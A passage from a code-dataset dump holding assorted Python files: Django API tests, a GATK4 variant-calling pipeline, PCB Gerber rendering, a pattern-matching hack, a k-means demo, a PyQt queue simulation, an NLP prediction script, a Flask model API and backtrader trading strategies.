zip(response.data['results'], reversed(new_friendships)):\n self.assertEqual(result['created_at'], friendship.created_at)\n\n def _paginate_until_the_end(self, url, expect_pages, friendships):\n results, pages = [], 0\n # 默认的第一页\n response = self.anonymous_client.get(url)\n results.extend(response.data['results'])\n\n pages += 1\n while response.data['has_next_page']:\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n # 根据前一页的最后一个 item 的 created_at 作为下一页的范围\n last_item = response.data['results'][-1]\n response = self.anonymous_client.get(url, {\n 'created_at__lt': last_item['created_at'],\n })\n results.extend(response.data['results'])\n pages += 1\n\n self.assertEqual(len(results), len(friendships))\n self.assertEqual(pages, expect_pages)\n # friendship is in ascending order, results is in descending order\n for result, friendship in zip(results, friendships[::-1]):\n self.assertEqual(result['created_at'], friendship.created_at)","repo_name":"TwistedAlex/django-twitterme","sub_path":"friendships/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":10436,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"40241793189","text":"###############################################################################################\n### Target (Amplicon) sequencing of human exome, germline sample \n### @GPZ-bioinfo, 20190525\n###############################################################################################\n\nimport luigi\n\nfrom luigi_pipelines import config, run_cmd, valid_path\nfrom luigi_pipelines.GermlinePipelines import HaplotypeCaller, SelectVariants, VariantFiltration, CombineVariants\nfrom luigi_pipelines.share_luigi_tasks import Annovar1, Annovar2\nfrom luigi_pipelines.share_luigi_tasks.gatk4 import PrintReads\n\n\n#########7\n\nclass HaplotypeCaller(HaplotypeCaller):\n def requires(self):\n return PrintReads(infodict=self.infodict, dry_run=self.dry_run)\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n\n if config.bed_file_path != '':\n extra_str = \" --intervals {}\".format(config.bed_file_path)\n else:\n extra_str = \"\"\n cmdline = \"{gatk4} HaplotypeCaller --java-options '-Xmx30g' --native-pair-hmm-threads 30 --reference {ref} --input {input} --genotyping-mode DISCOVERY --dbsnp {dbsnp} -stand-call-conf 10 -A Coverage -A DepthPerAlleleBySample -A FisherStrand -A BaseQuality -A QualByDepth -A RMSMappingQuality -A MappingQualityRankSumTest -A ReadPosRankSumTest -A ChromosomeCounts --all-site-pls true --output {output} {extra_str}\".format(\n ref=config.REF_file_path,\n input=self.input().path,\n dbsnp=config.db_snp,\n output=self.output().path,\n extra_str=extra_str,\n gatk4=config.gatk_pro)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\n#########9\nclass SelectVariants(SelectVariants):\n\n def requires(self):\n return HaplotypeCaller(infodict=self.infodict,\n dry_run=self.dry_run)\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n if self.object_type == \"snp\":\n selecttype = \"SNP\"\n elif self.object_type == \"indel\":\n selecttype = \"INDEL\"\n else:\n raise Exception\n\n cmdline = \"{gatk4} SelectVariants --java-options '-Xmx4g' -R {REF} -V {input_f} -select-type {selecttype} -O {output_f}\".format(\n gatk4=config.gatk_pro,\n REF=config.REF_file_path,\n input_f=self.input().path,\n output_f=self.output().path,\n selecttype=selecttype)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\n#########10\nclass VariantFiltration(VariantFiltration):\n def requires(self):\n return SelectVariants(infodict=self.infodict,\n dry_run=self.dry_run,\n object_type=self.object_type)\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n if self.object_type == \"snp\":\n filterExpression = \"QD < 2.0 || FS > 60.0 || MQ < 40.0 || MQRankSum < -12.5 || ReadPosRankSum < -8.0\"\n elif self.object_type == \"indel\":\n filterExpression = \"QD < 2.0 || FS > 200.0 || ReadPosRankSum < -20.0\"\n else:\n raise Exception\n\n cmdline = \"\"\"{gatk4} VariantFiltration --java-options '-Xmx4g' -R {REF} -V {input_f} --filter-expression \"{filterExpression}\" --filter-name \\\"my_{object_type}_filter\\\" -O {output_f}\"\"\".format(\n gatk4=config.gatk_pro,\n REF=config.REF_file_path,\n input_f=self.input().path,\n output_f=self.output().path,\n filterExpression=filterExpression,\n object_type=self.object_type)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\n#########13\nclass CombineVariants(CombineVariants):\n\n def requires(self):\n required_task = {ot: VariantFiltration(infodict=self.infodict,\n dry_run=self.dry_run,\n object_type=ot)\n for ot in [\"snp\", \"indel\"]}\n return required_task\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n cmdline = \"\"\"{gatk4} MergeVcfs --java-options \"-Xmx4g\" -R {REF} --INPUT {input_indel} --INPUT {input_snp} --OUTPUT {output_f}\"\"\".format(\n gatk4=config.gatk_pro,\n REF=config.REF_file_path,\n input_indel=self.input()[\"indel\"].path,\n input_snp=self.input()[\"snp\"].path,\n output_f=self.output().path)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\nclass new_Annovar1(Annovar1):\n def requires(self):\n return CombineVariants(infodict=self.infodict,\n dry_run=self.dry_run)\n\n\nclass new_Annovar2(Annovar2):\n def requires(self):\n return [new_Annovar1(infodict=self.infodict,\n dry_run=self.dry_run)]\n\n\nif __name__ == '__main__':\n luigi.run()\n\n #\n","repo_name":"444thLiao/WES_pipelines","sub_path":"luigi_pipelines/GermlinePipelines_gatk4.py","file_name":"GermlinePipelines_gatk4.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"3996329685","text":"from gerber.render.cairo_backend import PCBCairoContext\nfrom gerber.render.cairo_backend import GerberCairoContext\nfrom gerber.common import read\nfrom gerber.render import theme\n\n\nclass TendrilPCBCairoContext(PCBCairoContext):\n\n outline_color = (0.0, 0.612, 0.396)\n outline_alpha = 1.0\n\n copper_color = theme.COLORS['enig copper']\n copper_alpha = 1.0\n\n mask_color = theme.COLORS['green soldermask']\n mask_alpha = 0.75\n\n silk_color = theme.COLORS['white']\n silk_alpha = 1.0\n\n drill_color = theme.COLORS['black']\n drill_alpha = 1.0\n\n layer_colors = [\n (0.804, 0.216, 0),\n (0.329, 0.545, 0.329),\n (0.545, 0.137, 0.137),\n (0.227, 0.373, 0.804),\n (0.78, 0.776, 0.251),\n (0.545, 0.451, 0.333),\n (0, 0.525, 0.545),\n (0.133, 0.545, 0.133),\n ]\n\n far_side = []\n\n def render_top_view(self, output_filename=None,\n quick=False, nox=False):\n output_filename = '{0}.top.png'.format(output_filename)\n ctx = GerberCairoContext()\n\n if self.outline_color is not None:\n ctx.color = self.outline_color\n if self.outline_alpha is not None:\n ctx.alpha = self.outline_alpha\n outline = read(self.layers.outline)\n outline.render(ctx)\n\n if self.copper_color is not None:\n ctx.color = self.copper_color\n if self.copper_alpha is not None:\n ctx.alpha = self.copper_alpha\n copper = read(self.layers.top)\n copper.render(ctx)\n\n if self.mask_color is not None:\n ctx.color = self.mask_color\n if self.mask_alpha is not None:\n ctx.alpha = self.mask_alpha\n mask = read(self.layers.topmask)\n mask.render(ctx, invert=True)\n\n if self.silk_color is not None:\n ctx.color = self.silk_color\n if self.silk_alpha is not None:\n ctx.alpha = self.silk_alpha\n silk = read(self.layers.topsilk)\n silk.render(ctx)\n\n if self.drill_color is not None:\n ctx.color = self.drill_color\n if self.drill_alpha is not None:\n ctx.alpha = self.drill_alpha\n drill = read(self.layers.drill)\n drill.render(ctx)\n\n ctx.dump(output_filename)\n\n def render_bottom_view(self, output_filename=None,\n quick=False, nox=False):\n output_filename = '{0}.bottom.png'.format(output_filename)\n ctx = GerberCairoContext()\n\n if self.outline_color is not None:\n ctx.color = self.outline_color\n if self.outline_alpha is not None:\n ctx.alpha = self.outline_alpha\n outline = read(self.layers.outline)\n outline.render(ctx)\n\n if self.copper_color is not None:\n ctx.color = self.copper_color\n if self.copper_alpha is not None:\n ctx.alpha = self.copper_alpha\n copper = read(self.layers.bottom)\n copper.render(ctx)\n\n if self.mask_color is not None:\n ctx.color = self.mask_color\n if self.mask_alpha is not None:\n ctx.alpha = self.mask_alpha\n mask = read(self.layers.bottommask)\n mask.render(ctx, invert=True)\n\n if self.silk_color is not None:\n ctx.color = self.silk_color\n if self.silk_alpha is not None:\n ctx.alpha = self.silk_alpha\n silk = read(self.layers.bottomsilk)\n silk.render(ctx)\n\n if self.drill_color is not None:\n ctx.color = self.drill_color\n if self.drill_alpha is not None:\n ctx.alpha = self.drill_alpha\n drill = read(self.layers.drill)\n drill.render(ctx)\n\n ctx.dump(output_filename)\n\n def render_devel_view(self, output_filename=None,\n quick=False, nox=False):\n output_filename = '{0}.devel.png'.format(output_filename)\n ctx = GerberCairoContext()\n\n ctx.color = theme.COLORS['fr-4']\n ctx.alpha = 1.0\n outline = read(self.layers.outline)\n outline.render(ctx)\n\n ctx.color = self.copper_color\n bottompaste = read(self.layers.bottompaste)\n bottompaste.render(ctx)\n\n ctx.alpha = 0.9\n ctx.color = self.silk_color\n bottomsilk = read(self.layers.bottomsilk)\n bottomsilk.render(ctx)\n\n num_copper_layers = len(self.layers.internal)\n if self.layers.top is not None:\n num_copper_layers += 1\n if self.layers.bottom is not None:\n num_copper_layers += 1\n\n ctx.color = self.layer_colors[num_copper_layers - 1]\n bottom = read(self.layers.bottom)\n bottom.render(ctx)\n\n ctx.alpha = 0.5\n for idx, l in enumerate(self.layers.internal):\n layer = read(l)\n ctx.color = self.layer_colors[num_copper_layers - 2 - idx]\n layer.render(ctx)\n\n ctx.alpha = 0.9\n ctx.color = self.layer_colors[0]\n top = read(self.layers.top)\n top.render(ctx)\n\n ctx.color = self.silk_color\n topsilk = read(self.layers.topsilk)\n topsilk.render(ctx)\n\n ctx.color = self.copper_color\n toppaste = read(self.layers.toppaste)\n toppaste.render(ctx)\n\n ctx.color = theme.COLORS['black']\n ctx.alpha = 1.0\n drill = read(self.layers.drill)\n drill.render(ctx)\n\n ctx.dump(output_filename)\n\n def render(self, *args, **kwargs):\n self.layers = self.dialect(self.filenames)\n self.render_top_view(*args, **kwargs)\n self.render_bottom_view(*args, **kwargs)\n self.render_devel_view(*args, **kwargs)\n","repo_name":"SayCV/tendril","sub_path":"tendril/gedaif/gerberfiles.py","file_name":"gerberfiles.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"42131711773","text":"import math \r\nclass Triangle():\r\n\tdef __init__(self, a, b, c):\r\n\t\tself.a = a\r\n\t\tself.b = b\r\n\t\tself.c = c\r\n\t\r\n\tdef perimeter(self):\r\n\t\treturn self.a + self.b + self.c\r\n\r\n\tdef area(self):\r\n\t\ts = (self.a + self.b + self.c) / 2\r\n\t\treturn math.sqrt(s * (s - self.a) * (s - self.b) * (s - self.c))\r\n\r\n\tdef scale(self, scale_factor):\r\n\t\treturn Triangle(scale_factor * self.a, scale_factor * self.b, scale_factor * self.c)\r\n\r\n\r\n\tdef is_valid(self):\r\n\t\tif((self.a + self.b > self.c) and (self.a + self.c > self.b) and (self.b + self.c > self.a)):\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\n\tdef is_right(self):\r\n\t\tif(math.pow(self.a, 2) + math.pow(self.b, 2) == math.pow(self.c, 2) or \r\n\t\t\tmath.pow(self.b, 2) + math.pow(self.c, 2) == math.pow(self.a, 2) or \r\n\t\t\tmath.pow(self.a, 2) + math.pow(self.c, 2) == math.pow(self.b, 2)):\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\nr = Triangle(1, 6, 7)\r\n\r\nprint(\"Area = %d\" % r.area())\r\n\r\nprint(\"perimeter = %d\" % r.perimeter())\r\n\r\nprint(r.is_valid())\r\nprint(r.is_right())\r\n\r\nq = r.scale(2)\r\n\r\nprint(q.a, q.b, q.c)\r\n","repo_name":"o-laptiy/o-laptiy.github.io","sub_path":"triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4428472628","text":"from __future__ import annotations\n\nimport ast\nimport sys\nfrom dataclasses import dataclass\nfrom inspect import getsource\nfrom typing import Any, Callable, Optional, Generic, TypeVar\n\nfrom pattern_matching.pattern_engine import Pattern, ast2pattern\nfrom pattern_matching.withhacks import WithHack\n\n_matcher_cache: dict[tuple[str, int], _Matcher] = {}\n\n\nclass match(WithHack):\n def __init__(self, value: Any):\n super(match, self).__init__()\n self.value = value\n\n def __enter__(self):\n super(match, self).__enter__()\n \n fn, fl = self.__frame__.f_code.co_filename, self.__frame__.f_lineno\n try:\n m = _matcher_cache[fn, fl]\n except KeyError:\n with open(fn, encoding=\"utf-8\") as f:\n c = f.read()\n m = _matcher_cache[fn, fl] = _parse_match_stmt(c, fl)\n def exe(vars, a):\n lcls = {}\n r = eval(a, {**self.__frame__.f_globals, **vars}, lcls)\n if r:\n vars |= lcls\n return r\n else:\n return r\n \n l, v = m.match(self.value, self._get_local, exe)\n self._set_context_locals(v)\n if l is None:\n self._dont_execute()\n else:\n self._set_lineno(l)\n return self\n \n def __exit__(self, exc_type, exc_val, exc_tb):\n return super(match, self).__exit__(exc_type, exc_val, exc_tb)\n \n\n\n\nT = TypeVar('T')\nU = TypeVar('U')\n\n@dataclass(frozen=True)\nclass _Matcher(Generic[T, U]):\n cases: tuple[tuple[Pattern, T, Optional[U]], ...]\n otherwise: Optional[T]\n\n def match(self, val: Any(), get: Callable[[str], Any], exe: Callable[[dict[str, Any], U], bool]) -> tuple[T, dict[str, Any]]:\n for p, l, g in self.cases:\n res = p.match(val, get)\n if res is not None:\n if g is None or exe(res, g):\n return l, res\n return self.otherwise, {}\n\n\ndef _get_with(a: ast.AST, with_start_line: int) -> ast.With:\n for n in ast.walk(a):\n if isinstance(n, ast.With):\n if n.lineno == with_start_line:\n return n\n else:\n raise ValueError\n\n\ndef _parse_match_stmt(code: str, with_start_line: int) -> _Matcher:\n full_ast = ast.parse(code)\n w = _get_with(full_ast, with_start_line)\n assert len(w.items) == 1\n b = w.body\n cases: list[tuple[Pattern, int, Any]] = []\n while len(b) == 1 and isinstance(b[0], ast.If):\n i, = b\n assert i.test.lineno != i.body[0].lineno\n a = i.test\n if isinstance(a, ast.BoolOp):\n assert isinstance(a.op, ast.And)\n l,r = a.values\n pat, guard = ast2pattern(l), r\n guard = compile(ast.Expression(guard), '<guard>', 'eval')\n else:\n pat, guard = ast2pattern(a), None\n cases.append((pat, i.body[0].lineno, guard))\n b = i.orelse\n if len(b) == 0:\n else_body = None\n else:\n else_body = b[0].lineno\n return _Matcher(tuple(cases), else_body)\n","repo_name":"MegaIng/pattern-matching","sub_path":"pattern_matching/full_magic.py","file_name":"full_magic.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"7661059165","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets, cluster\n\n\ndef init_center(n_clusters, x_data):\n # https://en.wikipedia.org/wiki/K-means++\n # empty array\n centers = list()\n\n # 1. Choose one center uniformly at random from among the data points.\n centers.append(x_data[np.random.randint(x_data.shape[0])])\n\n for i in range(1, n_clusters):\n # 2. For each data point x, compute D(x), the distance\n # between x and the nearest center that has already been chosen.\n dist = list(map(lambda x: np.min(np.linalg.norm(np.subtract(x, centers), axis=1)), x_data))\n\n # 3. Choose one new data point at random as a new center,\n # using a weighted probability distribution where a\n # point x is chosen with probability proportional to D(x)^2.\n idx = np.searchsorted(np.cumsum(dist), np.random.rand() * np.sum(dist))\n\n # 4. Repeat Steps 2 and 3 until k centers have been chosen.\n # we just get a new center by probability distribution, but scikit-learn\n # tries more times to generate a more stable result\n centers.append(x_data[idx])\n return centers\n\n\ndef assignment_step(x_data, centers):\n # Assign each observation to the cluster whose mean has the least squared Euclidean distance\n # Returns a label for each data in the dataset\n # For each element in the dataset, chose the closest centroid.\n # Make that centroid the element's label.\n y_predict = np.zeros(shape=(x_data.shape[0]), dtype=np.int)\n for i, x in enumerate(x_data):\n dist = np.linalg.norm(np.subtract(centers, x), axis=1)\n closest_idx = np.argmin(dist)\n y_predict[i] = closest_idx\n return y_predict\n\n\ndef update_step(n_clusters, x_data, y_label):\n # Calculate the new means to be the centroids of the observations in the new clusters.\n centers = np.zeros(shape=[n_clusters, 2])\n for i in range(n_clusters):\n cluster_idx = np.squeeze(np.equal(y_label, i))\n centers[i] = np.mean(x_data[cluster_idx], axis=0)\n return centers\n\n\ndef kmeans_2():\n # https://en.wikipedia.org/wiki/K-means_clustering\n # https://en.wikipedia.org/wiki/Lloyd%27s_algorithm\n n_clusters = 3\n x_data, y_label = datasets.make_blobs(n_samples=300, random_state=20)\n centers = init_center(n_clusters, x_data)\n for i in range(300):\n y_predict = assignment_step(x_data, centers)\n new_centers = update_step(n_clusters, x_data, y_predict)\n loss = np.sum(np.linalg.norm(np.subtract(new_centers, centers), axis=1))\n if loss < 0.01:\n break\n centers = new_centers\n\n color = ['red', 'green', 'blue']\n for x, y in zip(x_data, y_predict):\n plt.scatter(x[0], x[1], c=color[y])\n plt.scatter(centers[:, 0], centers[:, 1], c='white', marker='x', linewidths=20)\n plt.draw()\n plt.pause(0.1)\n print('finish')\n plt.show()\n\n\ndef main():\n kmeans_2()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ytgui/python-practice","sub_path":"cluster/kmeans_2.py","file_name":"kmeans_2.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"10416606312","text":"from PyQt6.QtCore import Qt\nfrom PyQt6.QtWidgets import (\n QWidget,\n QLabel,\n QSpinBox,\n QFormLayout,\n QVBoxLayout,\n QLineEdit,\n QPushButton\n)\nfrom dataclasses import dataclass\n\nfrom app.time_spinbox import TimeSpinBox\nfrom center.client_generator import ClientGenerator\nfrom center.operator import Operator\nfrom center.computer import Computer\nfrom center.center import Center\n\n@dataclass\nclass Settings:\n button_text = 'Промоделировать'\n\n\n@dataclass\nclass Constants:\n min_clients_number = 100\n max_clients_number = 1000\n\n min_minutes = 1\n max_minutes = 59\n\n\nclass Page(QWidget):\n def __init__(self):\n super().__init__()\n\n clients_title = QLabel('Клиенты')\n clients_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.clients_number = QSpinBox()\n self.clients_number.setRange(Constants.min_clients_number,\n Constants.max_clients_number)\n\n self.clients_time = TimeSpinBox()\n\n clinets_parameters = QFormLayout()\n clinets_parameters.addRow(QLabel('Число клиентов:'), \n self.clients_number)\n clinets_parameters.addRow(QLabel('Интервал прибытия (мин.):'), \n self.clients_time.hbox)\n\n clients = QVBoxLayout()\n clients.addWidget(clients_title)\n clients.addLayout(clinets_parameters)\n\n\n center_title = QLabel('Информационный центр')\n center_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n operators_title = QLabel('Время обслуживания')\n operators_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.first_operator = TimeSpinBox()\n self.second_operator = TimeSpinBox()\n self.third_operator = TimeSpinBox()\n\n operators = QFormLayout()\n operators.addRow(QLabel('первым оператором (мин.)'), \n self.first_operator.hbox)\n operators.addRow(QLabel('вторым оператором (мин.)'), \n self.second_operator.hbox)\n operators.addRow(QLabel('третьим оператором (мин.)'), \n self.third_operator.hbox)\n\n computers_title = QLabel('Время обработки')\n computers_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.first_computer = QSpinBox()\n self.first_computer.setRange(Constants.min_minutes,\n Constants.max_minutes)\n self.second_computer = QSpinBox()\n self.second_computer.setRange(Constants.min_minutes,\n Constants.max_minutes)\n\n computers = QFormLayout()\n computers.addRow(QLabel('первым компьютером (мин.)'), \n self.first_computer)\n computers.addRow(QLabel('вторым компьютером (мин.)'), \n self.second_computer)\n\n\n result_title = QLabel('Результат')\n result_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.successes_number = QLineEdit()\n self.failures_number = QLineEdit()\n self.failure_probability = QLineEdit()\n\n result_parameters = QFormLayout()\n result_parameters.addRow(QLabel('Число обслуженных клиентов:'), \n self.successes_number)\n result_parameters.addRow(QLabel('Число отказов:'), \n self.failures_number)\n result_parameters.addRow(QLabel('Вероятность отказа:'), \n self.failure_probability)\n\n result = QVBoxLayout()\n result.addWidget(result_title)\n result.addLayout(result_parameters)\n\n\n button = QPushButton(Settings.button_text)\n button.clicked.connect(self.__simulate_center)\n\n\n center = QVBoxLayout()\n center.addLayout(clients)\n center.addWidget(center_title)\n center.addWidget(operators_title)\n center.addLayout(operators)\n center.addWidget(computers_title)\n center.addLayout(computers)\n center.addWidget(button)\n center.addLayout(result)\n\n self.setLayout(center)\n\n def __simulate_center(self):\n self.__create_center()\n failures_number = self.center.service_clients()\n self.__set_result(failures_number)\n\n def __create_center(self):\n first_computer = Computer(self.first_computer.value(),\n self.first_computer.value())\n second_computer = Computer(self.second_computer.value(),\n self.second_computer.value())\n\n first_operator = Operator(self.first_operator.value.value(),\n self.first_operator.limit.value(),\n first_computer)\n second_operator = Operator(self.second_operator.value.value(),\n self.second_operator.limit.value(),\n first_computer)\n third_operator = Operator(self.third_operator.value.value(),\n self.third_operator.limit.value(),\n second_computer)\n operators = [first_operator, second_operator, third_operator]\n\n client_generator = ClientGenerator(self.clients_time.value.value(),\n self.clients_time.limit.value(),\n operators,\n self.clients_number.value())\n\n self.center = Center(client_generator)\n\n def __set_result(self, failures_number):\n clients_number = self.clients_number.value()\n successes_number = clients_number - failures_number\n failure_probability = round(failures_number / clients_number, 5)\n\n self.successes_number.setText(str(successes_number))\n self.failures_number.setText(str(failures_number))\n self.failure_probability.setText(str(failure_probability))\n","repo_name":"hamzreg/bmstu-modeling","sub_path":"lab_05/src/app/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13066676036","text":"import os\nimport json\nimport pandas as pd\ncurrentDirPath = os.path.dirname(os.path.realpath(__file__))\nimport sys\nsys.path.insert(0, os.path.dirname(currentDirPath)+\"/Utils\")\nimport dataReading\nimport dataCleaning\nimport calculateFeatures\nimport modelSelection\n\n\n# function that predicts author of a file or a collection of files based on a path:\ndef predictAuthor(predictionModel, filePath=None, folderPath=None):\n if filePath:\n documentsData=dataReading.readTextFiles(filePath=filePath, lower=True, parseIDAuthorName=False)\n if folderPath:\n documentsData=dataReading.readTextFiles(folderPath=folderPath, lower=True, parseIDAuthorName=False)\n\n inputDataDict=documentsData.to_dict(\"list\")\n\n ## Step 2: Pre-cleaning feature calculation: some feautures have to be calculated before cleaning (ex: number of special characters, named entities, ...):\n documentsData = calculateFeatures.fullFeatureCalculation(pdDataFrame=documentsData,\n textColumnName=\"text\",\n applyTextLength=True,\n applyPunctiationMeasures=True,\n applyCountByNamedEntityType=True,\n applyNumberOfWords=True,\n applyNumberOfStopWords=True,\n applyAvgWordLength=True,\n applyNumberOfNumerics=True,\n applySentiment=True,\n applyTfIdf=False)\n\n print(\"finished step 2: Calculating pre-cleaning features\")\n\n ## Step 3: Cleaning: now that pre-cleaning features are calculated, cleaning can be applied:\n documentsData = dataCleaning.fullDataCleaning(pdDataFrame=documentsData,\n textColumnName=\"text\",\n corrSpelling=False, # sadly enough too time consuming for my computer..\n repContractions=True,\n remPunctuation=True,\n lemmatize=True,\n delStopWords=True)\n\n print(\"finished step 3: Cleaning the text data\")\n\n ## step 4: apply feature engeneering that need to be applied on cleaned data (IDF) fromloaded IDF model (to maintain same vocab list):\n documentsData[\"TfIdf\"] = calculateFeatures.TfIdf(pandasColumn=documentsData[\"text\"], modelLoadPath=os.path.dirname(currentDirPath) + \"/Models/TFIDF Model/tfidfmodel.pkl\")\n\n # All tfidf values are contained in one column (column where each cell is a list of values). We will transform that to multople columns:\n\n splittedTfIdf = pd.DataFrame(documentsData[\"TfIdf\"].values.tolist())\n documentsData = pd.concat([documentsData, splittedTfIdf], axis=1)\n del documentsData[\"TfIdf\"]\n\n ## Step 5: prediction:\n\n # deleting unnecessary cols:\n del documentsData[\"text\"]\n del documentsData[\"path\"]\n\n outputDict={\"input\": inputDataDict,\n \"predicted authors\": modelSelection.predictWithBestModel(predictionModel, documentsData)}\n\n return json.dumps(outputDict, indent=2, sort_keys=True)\n\n\nif __name__ == '__main__':\n # load trained prediction nmodel:\n predictionModel = modelSelection.loadBestModel(os.path.dirname(currentDirPath) + \"/Models/bestPerformingModel\")\n\n folderPath = os.path.dirname(currentDirPath) + \"/Data/inputFilesExamples\"\n filePath = folderPath+\"/doc_id00003testMultiLine.txt\"\n\n print(\"Testing function referring to single file:\")\n print(predictAuthor(predictionModel=predictionModel, filePath=filePath))\n\n print(\"Testing function referring to folder:\")\n print(predictAuthor(predictionModel=predictionModel, folderPath=folderPath))\n\n\n\n","repo_name":"Agilytic/training_nlp","sub_path":"Scripts/predictFunction.py","file_name":"predictFunction.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"36908396208","text":"from flask import Flask, request, jsonify\nimport joblib\nimport traceback\n\nfrom text_processor import TextPreprocessor\n\napp = Flask(__name__)\n\nmodel = None\n\n\n@app.route(\"/\")\ndef hello():\n return \"Welcome to machine learning model APIs!\"\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n def run_model(model, X, k):\n import numpy as np\n\n all_probs = model.predict_proba(X)\n k = max(min(all_probs.size, k), 1)\n topk_idx = np.argpartition(all_probs, -k)[:, :-k-1:-1]\n topk_classes = model.classes_[topk_idx]\n topk_probs = np.array([all_probs[n, idx]\n for n, idx in enumerate(topk_idx)])\n return [\n [{'class': c, 'probability': p}\n for p, c in sorted(zip(probs, classes), reverse=True)]\n for classes, probs in zip(topk_classes, topk_probs)]\n\n if model:\n try:\n json_ = request.json\n print(json_)\n title = TextPreprocessor.clean_text(json_['title'])\n body = TextPreprocessor.clean_text(json_['body'])\n k = json_.get('k', 3)\n debug = json_.get('debug', False)\n\n query = title + ' ' + body\n prediction = run_model(model, [query], k)[0]\n\n response_dict = {'prediction': prediction}\n if debug:\n response_dict['title'] = title\n response_dict['body'] = body\n\n\n return jsonify(response_dict)\n\n except:\n return jsonify({'trace': traceback.format_exc()})\n else:\n print('Train the model first')\n return 'No model here to use'\n\n\nif __name__ == '__main__':\n print('Start init text preprocessor')\n TextPreprocessor.init()\n print('Text preprocessor initialized')\n\n print('Start model loading')\n model = joblib.load('model.pkl')\n print('Model loaded')\n app.run(debug=True, port=8080)\n","repo_name":"helena128/StackOverflowTagger","sub_path":"api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16938648679","text":"import backtrader as bt\nfrom numpy import diff, reshape\nfrom backtrader.indicators import EMA, AwesomeOscillator, Indicator, And, If, MovAv, ATR\nfrom pandas import DataFrame\nimport pandas\nclass St(bt.Strategy): #stop trail - stoploss / not percent, stop trail by amount\n params = dict(\n ma=bt.ind.SMA,\n p1=10,\n p2=30,\n stoptype=bt.Order.StopTrail,\n trailamount=1000,\n trailpercent=1.0,\n limitoffset=0.0,\n )\n\n def __init__(self):\n ma1, ma2 = self.p.ma(period=self.p.p1), self.p.ma(period=self.p.p2)\n self.crup = bt.ind.CrossUp(ma1, ma2)\n self.order = None\n\n def next(self):\n if not self.position:\n if self.crup:\n o = self.buy()\n self.order = None\n print('*' * 50)\n\n elif self.order is None:\n if self.p.stoptype == bt.Order.StopTrailLimit:\n price = self.data.close[0]\n plimit = self.data.close[0] + self.p.limitoffset\n else:\n price = None\n plimit = None\n\n self.order = self.sell(exectype=self.p.stoptype,\n price=price,\n plimit=plimit,\n trailamount=self.p.trailamount,\n trailpercent=self.p.trailpercent)\n\n if self.p.trailamount:\n tcheck = self.data.close - self.p.trailamount\n else:\n tcheck = self.data.close * (1.0 - self.p.trailpercent)\n print(','.join(\n map(str, [self.datetime.date(), self.data.close[0],\n self.order.created.price, tcheck])\n )\n )\n print('-' * 10)\n else:\n if self.p.trailamount:\n tcheck = self.data.close - self.p.trailamount\n else:\n tcheck = self.data.close * (1.0 - self.p.trailpercent)\n print(','.join(\n map(str, [self.datetime.date(), self.data.close[0],\n self.order.created.price, tcheck])\n )\n )\n\nclass sell_AO(bt.SignalStrategy):\n lines = ('line',)\n params = (('period', 14),)\n\n # lines = ('macd', 'signal', 'histo',)\n # params = (('period_me1', 12), ('period_me2', 26), ('period_signal', 9),)\n def __init__(self):\n self.line = bt.ind.AwesomeOscillator().ao\n # self.lines.signal = bt.ind.CrossUp(vi_plus, vi_minus)\n # self.lines.signal=ao.ao \n print(self.line._method)\n print(self.line.alpha)\n print(self.line.width)\n self.sell=bt.ind.DownMove(self.line)\n # self.lines.signal=ao.width\n self.signal_add(bt.SIGNAL_LONGEXIT, self.sell)\n def next(self):\n if (self.line > 0 & self.sell > 0):\n self.close()\n \nclass SmaCross(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n def __init__(self):\n sma1, sma2 = bt.ind.SMA(period=10), bt.ind.SMA(period=30)\n # print(type(sma1))\n crossover = bt.ind.CrossOver(sma1, sma2)\n self.signal_add(bt.SIGNAL_LONGSHORT, crossover)\n\n#STOCHRSI\nclass StochrsiCross(bt.SignalStrategy):\n def notify_order(self, order):\n if not 